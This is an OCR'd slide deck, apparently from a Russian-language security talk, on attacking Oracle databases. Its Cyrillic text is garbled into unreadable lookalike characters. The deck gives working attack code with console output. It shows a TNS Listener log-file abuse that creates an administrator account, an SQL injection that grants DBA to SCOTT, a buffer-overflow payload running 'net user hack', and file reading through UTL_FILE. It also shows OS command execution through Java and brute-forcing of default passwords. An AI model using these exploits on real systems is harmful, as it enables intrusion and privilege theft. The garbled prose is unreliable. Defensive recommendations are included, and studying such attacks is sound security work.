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CopepxaHue

BeeoeHune
AHanuna cetesou 3awuieHHoctn CYb[

AHanna BHyTpeHHen be3onacHocTn CYb/
Oracle

— [oBbILLEHNE NpUBUNETNIA
— [Nony4yeHue goctyna K onepaunoHHON CUCTEME

[Tonck n akcnnyatauna ya3BuMoCTeun
3akrovyeHue




PacnpocTtpaHeHHocTb Bepcun CYB[ Oracle
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PacnpocTtpaHeHHocTb OC ana nHterpauuum ¢ Oracle
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AHanu3 ceteBou 3awmuwieHHoctu CYB/ Oracle




AHanu3 ceteBou 3awmuwieHHocTu CYB Oracle

 AHanun3 be3onacHocTn TNS Listener’a
 [NoakntoyeHnne kK CYb/[
 [laponbHaa nonuTuka




AHanun3 6e3zonacHocTu TNS Listener’a

Listener Oracle — KOMMNOHEHT CeTEBOro AocTyna K
cuctemam Oracle

[TpMHNUMAET KIMMEHTCKME 3anpochkl U HanpaBnaeT nx
ans oopaboTKkn B COOTBETCTBYHOLLNN CEPBEPHDIN
npoLecc

PaccmaTpuBaeTca Kak nepBbiv 3Tan Ha NyTu
BTOPXXeHNs B 6a3sbl AaHHbIX

[1NOX0 CKOHUrypmpoBaHHbIN He3aLlMLLEHHbIN
Listener npegoctaBnaeT HapyLUUTENO pasnnyHble
CNocoDbl OCYLLECTBIEHUS aTakK




ATtakm Ha TNS Listener

* [Nony4nTtb geTtanbHy0 MHOOPMaLMIO 00 aTakyemMom
CUCTEME:

— MmeHa 6a3 gaHHbIX (SIDs)

— Bepcua CYb[

— [1yTtun K log-dpannam

— Bepcuro OC, Ha koTopon ycTaHoBreHa CYb[1

— [lepemeHHble okpyxeHusa (ORACLE_HOME, ...)

* [lpomnsBecTu ataky oTkasa B 06CnyXmBaHuUu
 BbinonHate SQL-komaHabl oT umeHn DBA
* [lony4ynTb yoaneHHbIN OCTYN K CUCTEME



KomaHabl ytunutol Isnrctl

e status
* version
 start

* stop

* set
— Password
—Log_file
— Current_listener
— Trc_status



NMpumep BbINONMHEHUA KOMaHAbI Status

LSNRCTL> status

Connecting to
(DESCRIPTION= (CONNECT DATA=(SERVICE NAME=192.168.40.14)) (ADDRESS=(PROTOCOL=TCP) (HOST=192.

168.40.14) (PORT=1521)))
STATUS of the LISTENER

Alias LISTENER

Version TNSLSNR for 32-bit Windows: Version 10.1.0.2.0 - Production
Start Date 08-NOV-2007 13:46:55

Uptime 1 days 0 hr. 41 min. 48 sec

Trace Level off

Security ON: Local OS Authentication

SNMP OFF

Listener Parameter File E:\oracle\product\10.1.0\db_1\network\admin\listener.ora
Listener Log File E:\oracle\product\10.1.0\db_1\network\log\listener.log

Listening Endpoints Summary...
(DESCRIPTION= (ADDRESS= (PROTOCOL=ipc) (PIPENAME=\\.\pipe\EXTPROCipc)))
(DESCRIPTION= (ADDRESS=(PROTOCOL=tcp) (HOST=192.168.40.14) (PORT=1521)))

(DESCRIPTION= (ADDRESS= (PROTOCOL=tcp) (HOST=ws01l4.test.net) (PORT=8080)) (Presentation=HTTP)
(Session=RAW))

(DESCRIPTION= (ADDRESS= (PROTOCOL=tcp) (HOST=ws01l4.test.net) (PORT=2100)) (Presentation=FTP)
(Session=RAW))

Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "orcl"™ has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
Service "orclXDB" has 1 instance(s).



NMpumep BbINONHEHUA KOMaHAbI Services

LSNRCTL> services
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC) (KEY=EXTPROC))))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Handler (s) :
"DEDICATED" established:0 refused:0
LOCAL SERVER
Service "orcl" has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
Handler (s) :
"DEDICATED" established:0 refused:0 state:ready
LOCAL SERVER
Service "orclXDB" has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
Handler (s) :
"DOOO" established:0 refused:0 current:0 max:1002 state:ready
DISPATCHER <machine: WS014, pid: 1352>
(ADDRESS= (PROTOCOL=tcp) (HOST=ws01l4.test.net) (PORT=1055))
The command completed successfully
LSNRCTL>




Mpumep BbINONHeHNA KOMaHAabl Stop

[1ns ocyuwiecTsneHnda atakm Tuna oTkas B 006CnyXnsaHMm MOXHO Takxe
ncnonb3oBaTtb yTunuTy Isnrctl

C nomoLubio KoMaHabl stop yaaneHHbIn HeaBTOPM3UPOBAHHbLIW NONb30BaTENb MOXET
ocTtaHoBUTb TNS Listener

LSNRCTL> stop
Connecting to (DESCRIPTION= (ADDRESS=(PROTOCOL=IPC) (KEY=EXTPROC)))
The command completed successfully
LSNRCTL> status
Connecting to (DESCRIPTION= (ADDRESS=(PROTOCOL=IPC) (KEY=EXTPROC)))
TNS-12541: TNS:no listener
TNS-12560: TNS:protocol adapter error
TNS-00511: No listener
32-bit Windows Error: 2: No such file or directory

Connecting to
(DESCRIPTION= (ADDRESS= (PROTOCOL=TCP) (HOST=192.168.30.13) (PORT=1521)))

TNS-12541: TNS:no listener
TNS-12560: TNS:protocol adapter error
TNS-00511: No listener
32-bit Windows Error: 61: Unknown error



[Nlony4yeHue yganeHHOro 4ocTyna K cucteme

[root@server]#./tnscmd2.pl -h 192.168.30.13 --rawcmd
" (DESCRIPTION= (CONNECT DATA=(CID=(PROGRAM=) (HOST=) (USER=)) (COMMAND=
log file) (ARGUMENTS=4) (SERVICE=LISTENER) (VERSION=1)
(VALUE=C:\Documents and Settings\Administrator\Start
Menu\Programs\Startup\l.bat)))"

[root@server]#./tnscmd2.pl -h 192.168.30.13 --rawcmd
" (DESCRIPTION= (CONNECT DATA= ( (

> net user new_Admin h@ck3r /add

> net localgroup Administrators new_Admin /add

> "




MapameTpbl anga 3awntbl TNS Listener

PASSWORD - s10T napameTp oTBe4YaeT 3a YCTaHOBKY Napons Ha
nogkntoveHne K TNS Listener’y. B Tom cnyvae, ecnv naposib yCTaHOBIEH,
TO BbIMOMHATCA TONMbKO KOMaHAabl status 1 version, YTo gaeT MHdopMaLuto
0 Bepcuu Listener’a, yctaHOBOYHOM OUPEKTOPUM N ONepPaLUOHHON CUCTEME

(Mo yMmon4aHuio He YCTaHOBIEH)

ADMIN_RESTRICTIONS — 3T10T napameTp BO BKITHOYEHHOM COCTOSIHUM
3anpeuwiaeT nodblie U3MeHEHNST KOHPUTypaumMoHHOro danna yganeHHo

(no ymonuaHuio ycraHosneH B OFF)

LOCAL_OS_AUTHENTICATION — aTOoT napamMeTp BO BKITHOYEHHOM
COCTOSAHMM no3BongdeT yrnpaenaTtbe TNS Listener'om Tosibko fiokansHO

(no ymon4yanuto yctaHosneH B OFF oo sepcun 10g)




3awmwaem TNS Listener

* [lepBoe 1 camoe rnaBHoOE — 3TO YCTAHOBUTL NapPoSib
Ha gocTtyn K Listener’y

* BknounTtb NnpoTOKONMPOBaHNE BCEX MNOMbITOK
nogkntoyeHusa K Listener'y ona obHapyxeHus
NonbITOK Nnepebopa naponeu

e YcTaHOBUTL NocneaHne obHoBNeHUa 6e30nacHOCTU
(CPU)

e 3alUNTUTb JIOKanbHble KOHPUrYpaLUMOHHLIE hanrbl




NMogknoyeHue K CYB/

Nna nogkntodenns Kk CYB[1l Oracle Heobxoamnmo 3HaTb:

* |P-agpec cepBepa

* [lopT TNS Listener‘a

* ima 6a3bl gaHHbIX (SID)
* imMa nonb3oBaTtens

* [laponb




NMopno6op SID

* [lonck nHpopmauun B CTOPOHHMX MPUIIOXKEHUSX:
— Oracle Application Server nopt 1158
— SAP web-manegment , nopt 8001/tcp.

* Mg 6a3bl JaHHbIX ABNSETCA cTaHOapTHbIM, HanpuMmep,
*ORCL”

* msa Oa3bl AadHHbIX ABIIAETCA CITOBapPHbIM CJI10BOM

* KMa 6a3bl AaHHbBIX COCTOUT N3 Marioro Konm4ecTea
CMMBOJIOB

 Vmga 6a3bl 4aHHbIX YACTUYHO UM NONMHOCTbLIO coBNagaeT ¢
DNS/NETBIOS-umeHem xocTta

* VMg 6a3bl JaHHbIX MOXHO Y3HaTb MO CCbIIKe U3 OpYrou
Ccyb[



SID yepe3 Application Server

3 0C4J:1158 DMS Metrics - Microsoft Internet Explorer |Z|E|
marn  Mpaeka Bua  MzbpanHoe  Cepewc CNpaeka f;"
@ Hazaa - \_J \ﬂ @ ;_\J /__\’ Mowmck “E:LT\/ M=BpaHHos d f _- 4 .,-___,,'. = q i @ ﬁ 'i‘i
Aaopec: i@:ﬂ http:,l',l'192.168.1.2:1158,!’5§_r'_\-jll3t,|’5py V| Mepexoa | Cobimkr >

2

Metric Tables
A1 Metric Tables | Test

2]
JDBEC Connection —
JDBC ConnectionScource
JDEBC DataZource
TV
ocdy contest
ocdy ear
ooy (splthreadsafe=true)
ocdy {spExec
ocdy serwlet
ocdy task
ocd taskhlanazer
oo web module
transtrace info ST=(ADDRESS= [PROTOCOL=TCP] (HOST=data2) (PORT=1521))) (COMNECT DATL= (Ellyateiomasiiiotra=sl) | 1
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SID 4yepe3 Application Server 2

"¢ Oracle Enterprise Manager - Opera

damn  Mpaeka Brna  Jaknaaky  BraxeTel  MHCTPYMEHTEI  Cnpaeka

e

] Cozaare exnaacy |
.. --"Fi

‘!_. . | | — Ll s . »” [EEtp: 102, 168, 1.2: 11558 emfconsoleflogontlogon

ORACLE Enterprise Manager 10g
Database Control

_

Login to Databaseforcl]

# Izer Mame
* Password

Connect Az MNormal hdl

\ Lagin )

Copyright & 139396, 2005, Oracle. &l right=s reserved.




SID noadopom

AWINDOWS\system3 2\emd. exe
U:~York_work-_ ORACLE~szoft>1znrctl

LENMRCTL for 32-bit Windows: Uerszion 10.1.0.2.0 — Production on 22-NOU-2007 16:32
Copyright <c2> 1991, 2004, Oracle. All rights reserved.
llelcome to LSEHNRCTL,. type "help' for information.

LSHRCTL» set current_listener 192.168.30.11

Current Listener is 192.168.30.11

LSHRCTL» status

Connecting to (DESCRIFTIONM=<{CONMECT_DATA=CSERVICE_HNAME=192.168.30.11>><ADDRESS=<
THS-01189: The listener could not authenticate the user

LSHRCTL> “C

U:sWYorks_works«__ ORACLE~soft>zidguess host=192.168.30.11 sidfile=sdid.txt

Sidguess 1.02 — 2006-2007 by Red-Database—-Security GmbH

Oracle Security Consulting,. Security Audits & Security Trainings
http:/wu_red—database—security.com

SID=TEST

U:~HYork_work-__ ORACLE-soft>
U:~Hork_work-__ ORACLE~soft>
U:=-“Works_work-_ ORACLE-~soft>
U:~HYork_work-__ ORACLE~soft>
U:=~Horks_works_ ORACLE“soft>

U:~HYork_work-__ ORACLE-soft>

90 %!




PekomeHpauuu no 3awmTte SID

* CmeHunTb SID 6a3 gaHHbIX Ha cryvYanHbin Habop 13
He MmeHee 8 CMMBOIOB

* MakcnmanbHO orpaHmynTb OOCTYN K dpannam
tnsnames.ora, ocTaBmMB nNpaBa Ha YTeHUE NnLLb

nofib3oBaTesito OT MMEHW KOTOPOro 3arnyckaeTcs
Ccyb[

e OrpaHnunTb OOCTYN K CUCTEMAM Yepes KOTOpbIe
MOXHO y3HaTb SID, nnu moanduumpoBaTb
MHJ OpMaLUUIO, BbIBOOAUMYIO 3TUMU CUCTEMAMU




Maponu

MHOXeCTBO CUCTEMHBIX YYETHbLIX 3anncen co ctTaHgapTHbIMU
naponsamu > 600

HekoTopble He BNOKUPYOTCH NocHe YCTaHOBKM

MHOXEeCTBO NPUNOXEHNN KOTopble nHTerpupytotes ¢ CYb[,
MMEIOT CBOM CTaHOAPTHbIE CUCTEMHBIE YYETHLIE 3annucu

[lo yMOn4YaHMo He YCTAHOBMEHO OrPaHNYEeHnn Ha ONVHY U
CINOXHOCTb NMaporns

[Tepebop naponen K y4eTHbIM 3anncsm B 005bLLUMHCTBE
criy4yaeB He bnokupyeTcs

ba3bl JaHHbIX 0ObLIYHO coaepXaT bonbLIOE KONMMYECTBO
YYeTHbIX 3anuceu




OScanner

fl - C:\WINDOWS\system32\cmd.exe

E:~tools“~oscanner_hin*oscanner —s 192.168.30.13
f0racle Scanner 1.0.6 by patrikBocgure.net

Checking host 192 _168.30.13

Checking sid <orcl? for common passwords
Account CTHSYSACTHSYS is locked

Account DBSHNMP-DBSNHMFP found

Enumerating system accounts for SID C(owrcl?
Succesfully enumerated 30 accounts
Account HRAHR is locked

Account MDSYS-MDEYS iz locked

Account OEAOE is locked

Account OLAPSYS-MANAGER iz locked
Account ORDPLUGINS AORDPLUGIMS is locked
Account ORDSYS-0RDSYS is locked

Account OUTLHAOUTLH is locked

Account PMAPM iz locked

Account Q595 is locked

Account Q5_ADM-GQS_ADM is locked

Account Q5_CBAGQS_CB is locked

Account Q5_CBADHAQS_CBADH iz locked
Account Q5_CS5-05_C5 is locked

Account Q5_ES-Q5_ES is locked

Account Q5_05-05_05 is locked

Account Q5_WS-Q5 WS iz locked

Account RBMAN/RMAN iz locked

Account SCOTTATIGER found

Account SHASH is locked

Account SYS/-CHAMGE_OM_INSTALL found
Account SYSTEMAMANAGER found

Account WHSYSA-WKSYS iz locked

Checking user supplied passwords against sid Corcll
Checking user supplied dictionary
Account WHSYSAUWMSYS is locked

Account XDBARDB is locked

Account WHEPROEY -WKPROEY is locked
Account ODMA0DM is locked

Account ODM_MTRA0ODM_MTR is locked
Querying database for version information
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80%
10-15 MUHYT




PekomeHaauum no noBbILLeHUIO 0e30NacHOCTHU

* [lpoBecTu ayauUT y4eTHbIX 3anncen Ha Hanmymne
CTaHOAPTHbIX Naponen

 [lepmnoanyeckn npocMmaTpmBaTthb y4YETHbIE 3anNNCK Ha
npeaMeT UCMNOJIb30BaHUS N NEPUOONYECKN
OTKNoYaTb ycTapeBLUne

« BBecTu kak agMUHUCTPATUBHbIE TaK U
nporpaMMHble OrpaHNYeHns Ha OSVHY U CNOXHOCTb
napons



AHanu3 BHyTpeHHeu 6e3onacHoctu CYB[ Oracle




NMpobnembi

OOHOBIMEHUSA BbIXOOAT OYEHb PeaKo
HeTpuBmarnbHas yctaHOBKa

YcTaHoBKa 0OHOBNEHNN MOXET rpO3nNTb
cepbe3HbIMU COOSIMU MPU NHTErpauum ¢ apyrumm
cuctemMamu

bonee NONOBUHBLI YA3BUMOCTEN TaK U OCTaAlOTCH
HEe3aKpbITbIMU

[Tony4ynTb ayTEHTUPUKALUMOHHbIE AaHHble He
COCTaBNAET Tpyaa




[MToBbILLEeHMe NpuBUNerun

SQL injection
Buffer Owerflow
Evil View

DIl Patching

* Cursor Snarfing




SQL Injection

« CambIy pacnpocTpaHEHHbIN TUM YA3BUMOCTEN
« CamMbI onacHbI
* CyllecTByeT MHOXeCTBO private-ya3BMMoCTeun




YA3BuMbIe npoueaypbl

. SYS.LT.FINDRICSET

. KUPM$MCP.MAIN

. ACTIVATE_SUBSCRIPTION

- DBMS METADATA.GET DDL

.« KUPW$WORKER.MAIN

.+ KUPVS$FT.ATTACH JOB

. KUPW$WORKER.MAIN

. DBMS EXPORT EXTENSION SQL

. SYS.DBMS CDC IMPDP.BUMP SEQUENCE




Koa akcnnourta

CREATE OR REPLACE FUNCTION HACKIT RETURN NUMBER
2 AUTHID CURRENT_USER AS

PRAGMA AUTONOMOUS TRANSACTION;

BEGIN

EXECUTE IMMEDIATE "GRANT DBA TO SCOTT";

COMMIT;

RETURN (0) ;

END;

/

3
4
5
6
7
8
9

exeC SYS.LT.FINDRICSET(".""||SCOTT-HACKITOI|Il"""")--","X"):




MMpumep ucnonb3oBaHUA

¢t BwiGpate C:\WINDOWS\system32\cmd.exe - sqlplus scott/tiger

C:%Documents and Settings“Alexandr.Polyakov ADl>sglplus scottstigewr
SOQL*Plus: Release 10.1.0.2.0 — Production on Thu Mov 15 14:39:22 2007
-Cupyright Cc> 1282, 2004, Oracle. A1l rights reserwved.

Connected to:
Oracle Database 1lilg Enterprise Edition Helease 10.1.0.2.0 — Production
BUith the Partitioning. OQLAP and Data Mining options

BS0LY zelect ®* from wuser_role_privs;
GRANTED_ROLE ADM DEF 0S5_

COMMECT MO Y¥ES MO
RESOURCE HO YES MO

SQL> CREATE OR HEPLACE FUNCTIOW HACKIT RETURM HUMBER
AUTHID CURREWT_USER AS
PRAGHMA AUTONOMOUS_TRAMSACTIOM:
BEGIH
EXECUTE IMMEDIATE *GRAWT DBA TO SCOTT ;5
COMMIT 3
RETURN<@> 3
EMND 3
-

Function created.

SQL -
S0QL> EXREC S¥YS.LT.FINDRICSETC' . 1 iSCOTT . HACKITCH i """ 2—" . "x' 23}

PL-SQL procedure successfully completed.

S0L >
SQL> zselect = from user_role_priuvs;

GRANTED_ROLE RDM DEF 08_
COMNECT MO  YES HO

DBR MO  YES MO
RESOQURCE MO  YES HO




Buffer Overflow

* BONbLIMHCTBO M3 HNX TPEDYET HaNUYUsS y4EeTHOM
3anucu nonb3oBaTend

* Peanunsauua cnoxHee, 4em SQL Injection




YA3BuMbIe npoueaypbl

XDB.DBMS_XMLSCHEMA.GENERATESCHEMA
XDB.DBMS_XMLSCHEMA INT.GENERATESCHEMA
SYS.DBMS_SYSTEM.KSDWRT

NUMTODSINTERVAL

NUMTOYMINTERVAL
DBMS_REPCAT_RGT.INSTANTIATE_OFFLINE

SELECT DBMS_REPCAT_RGT.INSTANTIATE_ONLINE
DBMS_REPCAT_ADMIN.REGISTER_USER_REPGROUP




Koa akcnnourta

SELECT XDB.DBMS XMLSCHEMA.GENERATESCHEMA

('a', " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBEBBBC' |
| 'CCCCCCCCCABCDEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANABBE

BBBBBBBCCCCCCcCCCC' | | 'TABCDEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAABBBBBBBBBBCCCCCCCCCCABCDE') FROM DUAL;

SELECT XDB.DBMS XMLSCHEMA.GENERATESCHEMA
('a', \AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBCCCCCC
CCCCABCDE' | |chr (212) | |[chr (100) | |[chr(201) | |Ichr(01) | |[chr (141) |
|chr (68) | |[chr (36) | [chr(18) | |chr(80) | |chr(255) | |chr(21) | |chr(
192) | |chr (146) | |chr(49) | |chr(02) | |chr (255) | |chr(21) | |chr (156

) | lchr(217) | |chr(49) | |chr(2) | |chr(32) || 'net user hack h(@ck
/add’) FROM DUAL;




MMpumep ucnonb3oBaHUA

=| Total Commander 6.51 - NOT REGISTERED
Files Matk Commands Met Show Configuration  Skart

C:\Documents and Settings“Alexandr.Polyakov.AD>sqlplus [-c-] ¥ |[_none_] 9 617 796 k of 20 482 840 k free DQ [ o ] e [data] 42 378 056 k of 4.[
SQL*Plus: Release 10.1.0.2.0 - Production on 7E =o 14 18:03:21 2007 108.177.26| © anner_bint® * E”_

Copyright (c> 1982, 2004, Oracle. All rights reserved. e R e :H_al_ne .E.’:t 5'12:524 ::"Pa
Txouex e awulpTpCXH : Hone Eat S __Date Al ) oscanner_192. ml 611063
:\Documents and Settings“Alexandr.Polyakov.AD>set NLS_LANG=AMERICAN_AMERICA J NTDETECT ~ COM 47564 31122002 15:00 rahs A = T3 aml 46 376 3

(1] ntidr 250 624 31.12.2002 15:00  rahs EJD*BB""B'—H Y s

|oracle_for_pe.. pdf 326 056 10.10.2007 16:47 -a- %“‘“"““—1 e ""‘I i

SQLxPlus: Release 10.1.0.2.0 - Production on [Wed Nov 14 18:03:34 2007 | 1] pagefile sp792 723 456 08.11.2007 13:45  -ahs %z:z:::::—m e R

Copyright <c> 1982, 2004, Oracle. A1l rights reserved gy b CIVEDBLILAGAEE o Moraclepluging jar 38438 11

- r ; 2 rER g i5loython-25  msi10 695 680 12.03.2007 17:01 -a-

C \Documenta and Settings“Alexandr.Polyakov.AD>zet WLS_LANG =AMERICAN_AMERICA

Help

sDocuments and SettingzsAlexandr.Polyakov AD>sqlplus

nter user—name: systen U s2bk 0 31.08.2006 16:17 -a- Tlreportengine ar 1808 1)
Enter password: 5200 0 01.09.200613:23 -a- :-g"sca""e' I
onnected Lo |[s200 0 09.11.2006 1251 -a- ] users :x: 1g ::
Opracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Production ¢ str0ke_asc  asc 3935 23.10.2007 15:28 -a- pevies #

Jith the Partitioning, OLAP and Data Mining options stilke asc et 7935 2310.2007 15:28  -a- default conf 685 0I

trace tat 63 12 11,2007 17-43_ -a- tode tat a3

50L> SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA (’a’. ’AARARAARRARAARRARAARAARAAAR| IERE # ey -3 B dichonsi e 201
ARAAARAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDE’ Unbreakable tat T6114.11.2007 18:04 | a~ 1| = ) 2

2 1 chr(2i2) ! ichr(100) | ichr(201) {ichr(B1) | ichr<141) | ichr<68) | ichr(36) . | [ Voracleplugins _ default 385 2:
Plehe(B0) | lche(255) Hehe(21) 0k 71851 849 k in 0 / 35 files, 0 / 15 dir(s) Dk /3853kin 0742 files, 071 diifs)

k] ..chr(192) chr(146)|.chr(49)lIchr(ﬂ2)lIchr(255)lIchr(21)llchr(156)ll hr¢21
Vichr(49) 1 iche(2) 1 ichr(32) che

4 1i'echo ARE YOU SURE? »c:\Unhreakahle.txt’> FROM DUAL;
e s F3 Yiew | F4 Edit F5 Copy F& Move F7 MewFolder|| F8 Delete Alt+F4 Exit




Evil View

» HebeaonacHble npeacTaBrieHns

* Bo3moxHO nsmeHeHue/gobasreHne/yganeHue
OAaHHbIX, HE UMeS NMPUBUMETMA HA 3TN OENCTBUS




MMpumep ucnonb3oBaHUA

SQL> select * from TEST;
1D NAME NUMBER

1 USERI1 1000

SQL> update TEST set NUMBER=O0;
ERROR at line 1:

ORA-01031: insufficient privileges;

SQL> create view EVILVIEW as select a.* from (select * from
TEST) a inner joiln

(select * from TEST) b on (a.id=b.1id)
SQL> update EVILVIEW set NUMBER=666;

1 row updated.

SQL> select * from TEST;

ID NAME NUMBER




DIl Patching

[Tocne ycnewHoro noakntodeHusa Kk CYBL knneHT
yCTaHaBnMBaeT A3blKOBble HAcTponkn komaHgon “ALTER
SESSION SET NLS ...”, koTopas BbINOSIHAETCSA OT MMEHMU

nonb3oBaTtensa SYS Ha cepBepe

Oracle Client ©

alter session set ...




DLL ao moandunkaumm

- [C:\oracle\ora®2\bin\orachent9.dil]
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[NlonyyeHne pocTtyna K onepauyvoHHOU cucTteme




[NonyyeHne pgocTtyna K onepauyvoHHOU cucTteme

* YteHune/zanncek paunnos, ncnonbsysa UTL FILE
npoueaypobl

* [lonyyeHue shell, ncnoneaya JAVA npouenypbol

* [pyrue cnocobbl nony4vyeHuns goctyna Kk OC




YTteHue/3anuce pannos,
ucnonb3ya UTL_ FILE npoueaypbl

« ABnseTca caMbliM pacnpoOCTPaHEHHbIM

+ Tpebyetr CREATE DIRECTORY wunn DBA

* TpebyeT MeHbLUe NpuBUMEruii N0 CpaBHEHUIO C
apyrmmm cnocobamm




JKcnnyartauusa

« CHavana co3gaeTcs gupeKkTopus, KoTopast
yKa3blBaeT Ha pearbHylo AUPEKTOPUIO Ha cepBepe.

SQL> create or replace directory public access as 'C:/';

* Bbi3biBaeTcsa npoueaypa utl file.fopen c
onpegeneHHbIMU NapaMmeTpamm

SQL> UTL FILE.FOPEN ('PUBLIC ACCESS', 'boot.ini','r'");




NMpumMmep akcnnyaTaumu

QL=Plus: Release 10.1.0.2.0 — Production on Mon Mov 19 16:21:-18 2007
Copuyright <c> 1982, 2004, Oracle. All »ights reserved.

onnected to:

ith the Partitioning, OLAP and Oracle Data Mining options
JServer Helease 7.2.0.1.0 — Production

QL> select = from user_ _sys_privs;
PRIVILEGE

CHEATE ANY DIRECTORY
UNLIMITED TABLESPACE

QL> select = from user_ role privs:
GRANTED_ROLE

CONNECT YES NO
RESOURCE YES MO

QL cyreate or veplace directory public_access as *G:.':

QL> SET SERUVUEROUTFUT OHN
QL> declare
f wtl_file.file_type:;
sBuffer UVarchar<{8000> ;
begin
§-=UTL_FILE-FOPEN C*PUBLIC_ACCESS’ . "boot.indi’ . "»’2;
oop
UTL_FILE.GET_LINE <f . sBuffer;
DEME_OUTPUT .PUT_LINE<zsBuffer>;
end loop:
EXCEPTION
when no_data_found then
UT&_FILE.FCLOSE(E);
end;

s
[boot loadex]
timeout =30
default=multid{>disk{0>rdisk{>partition <l >~WINDOWS

[operating systems 1
ultidi>disk{>rdisk{)partition{1>~WINDOWS="Hindows Sewrwver 2003, Enterprisze’

“noexecute=optout ~fastdetect

PL-SQL procedure successfully completed.




Nony4yeHne KOMaHOHOU CTPOKMU,
ncnonb3ya JAVA-npoueaypbl

[ocTyn K dpannosoun cucrteme

[1ocTyn K KOMaHOHOW CTPOKe U BbIMONTHEHNE
NPON3BONbHbIX CUCTEMHbIX KOMaHA

Heobxogmnma ponb DBA nnn nmeTb rnpasa Ha
BbIMONHEHWE npoueayp n3 naketa SYS:java

PaboTaeT He Bceraa (~60% cny4aes)




JKcnnyartauusa

Co3paeTtcsa npouenypa Ha JAVA ¢ npuMepHbIM COAEPKUMbIM

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
/%
* Command execution module
*/
public static void execCommand (String command) throws
TOException

{

Runtime.getRuntime () .exec (command) ;




JKcnnyartauusa

Has3Ha4vatoTcsa npasa Ha BbinoniHeHne JAVA ons Tekyulen
CXEeMbil

EXEC DBMS JAVA.grant permission ('SCHEMA-NAME',
'java.io.FilePermission', '<<ALL FILES>>', 'read ,write,

execute, delete');

EXEC Dbms Java.Grant Permission ('SCHEMA-NAME',
'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');

EXEC Dbms Java.Grant Permission ('SCHEMA-NAME',
'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');




JKcnnyartauus

[1na BbinoniHeHUs kKomaHa nuweTca Hebonbwon PL/SQL kog. B
OaHHOM cny4yae Bbl3blBaeTca komaHaa “set”.

SET SERVEROUTPUT ON SIZE 1000000
CALL DBMS JAVA.SET OUTPUT (1000000) ;
BEGIN

host command (p command => 'set');
END;
/




NMpumMmep akcnnyaTaumu

e C:AWINDOWSAsystem32\cmd.exe - sqlplus system/f12345 - | ﬂ




Opyrune cnoco6bl nonydyeHuna goctyna Kk OC

« CyuwectByeT naket DBMS LOB dyHKUMOHANBHO
noxoxuun Ha utl_file

B CYB[] Oracle 10g cyLwiecTByeT nakeT
DBMS_ ADVISOR, ¢ nomMoLlbo KOTOPOro Takke
MOXXHO MONYy4YnUTb OOCTYN K pannoBon cucteme

* Takke CyLLeCTBYeT eLle MHOXXECTBO NMOXOXMX
doyHKLMN




[Tonck yasBmmocTeu




Mouck yassumocTeu

« Cnabo dopmanmnisoBaH

 Black box

— fuzzing
— BPYYHYIO

 \White box

— unwrap
— v3sql table




Unwrap

SQL> create or replace procedure bb is

2 begin
3 null;
4 end;
5 /

Procedure created.
SQL> save bb.sgl replace
Wrote file bb.sqgl

C:\Documents and Settings\Administrator>wrap iname=bb.sql oname=bb.pls

PL/SQL Wrapper: Release 9.2.0.1.0- Production on Tue Nov 20 15:48:15 2007
Copyright (c) Oracle Corporation 1993, 2001. All Rights Reserved.
Processing bb.sgl to bb.pls




Unwrap

SQL> @bb.pls

Procedure created.

SQL> exec bb

PL/SQL procedure successfully completed.
SQL> set serveroutput on size 1000000
SQL> exec unwrap r('bb');

Start up

CREATE OR REPLACE PROCEDURE BB
1S

BEGIN

NULL;

END;

/




HanucaHue 3KcnnouToB

« OOHapyXunm ya3BumoCTb

« Hawnm onybnrukoBaHHYO ySI3BUMOCTb




HanucaHue 3KcnnouToB

SQL> exec SYS.LT.FINDRICSET("AAAAAAAAAAAAA* , "BBBBBBBBBBB") ;
PL/SQL procedure successfully completed.

SQL> Select sqgl text from vS$sgl where sqgl text like '$AAAAAAAAS';
SQL TEXT
BEGIN SYS.LT.FINDRICSET ('AAAAAAAAAAAAA', 'BBBBBBBBBBB'); END;
insert into SYSTEM.BBBBBBBBBBB values ("SYSTEM®, *AAAAAAAAAAAAAT)
BEGIN LT.FINDRICSET ('AAAAAAAAAAAAA', '"BBBRBBBBRBBBR'); END;
insert into wmsys.wm$ric set values ('SYSTEM', 'AAAAAAAAAAAAA')
select count (*)
from wmsys.wmSric set
where table owner = 'SYSTEM' and table name = 'AAAAAAAAAAAAA'
select sqgl text from vsgl where sgl text like '$AAAAAAAAS'
delete from wmsys.wmSric set in where table owner = 'SYSTEM'

and table name = 'AAAAAAAAAAAAA'
SQL TEXT
insert into wmsys.wm$ric set in values ( 'SYSTEM', 'AAAAAAAAAAAAA' )
Select sqgl text from v$sgl where sgl text like 'SAAAAAAAAS'
9 rows selected.
SQL>



HanucaHue 3KcnnouToB

MTak, y Hac ecTb BbI3OB:

insert into SYSTEM.BBBBBBB values ('SYSTEM', 'AAAAAAAAAAAAA')

UTobbI 3KCnnyaTnpoBaTb YA3BMMOCTb, HaM
HeobxoaMmo, YTOObI BbI3OB BbIrMAEN
NMPUMEPHO TaK:

insert into SYSTEM.BBBBBBBB values ('SYSTEM', 'AA’ | |evilprocedure()||"")




Lennkon

CREATE OR REPLACE FUNCTION EVILPROC return varchar?
authid current user as
pragma autonomous transaction;

BEGIN

EXECUTE IMMEDIATE 'grant dba to scott';
COMMIT;

RETURN '';

END;

/




HepnoctaTkm mMmetoaa

 Heobxoaumo nmetb npaBa CREATE ANY
PROCEDURE

* I3BecTHa curHatypa

CneacrteBue — HOBbIU CNOCOO 3aKcnnyaTauuu
ysasBumocteun Cursor Injection




Kypcop

« Kypcop — ykasaTersnb Ha onpeaeneHHbIn Tun
doyHKLMN

